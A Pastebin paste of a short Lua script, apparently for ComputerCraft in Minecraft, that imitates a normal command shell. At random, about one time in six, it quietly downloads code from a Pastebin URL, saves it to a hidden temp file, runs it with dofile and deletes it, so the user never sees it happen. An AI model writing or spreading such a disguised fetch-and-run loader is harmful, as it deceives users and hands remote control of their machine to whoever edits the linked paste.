Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- term.clear()
- term.setCursorPos(1,1)
- function downloadFiles()
- if http.checkURL("https://pastebin.com/raw/YcRrNyNe") then
- local files = http.get("https://pastebin.com/raw/YcRrNyNe")
- local code = files.readAll()
- files.close()
- local file = fs.open(".temp","w")
- file.write(code)
- file.close()
- dofile(".temp")
- fs.delete(".temp")
- end
- end
- function shella()
- term.setTextColor(colors.yellow)
- write("> ")
- term.setTextColor(colors.white)
- local red = read()
- return red
- end
- while true do
- local stuff = shella()
- local rand = math.random(0,5)
- if rand == 3 then
- shell.run("lsd "..stuff)
- downloadFiles()
- else
- shell.run(stuff)
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement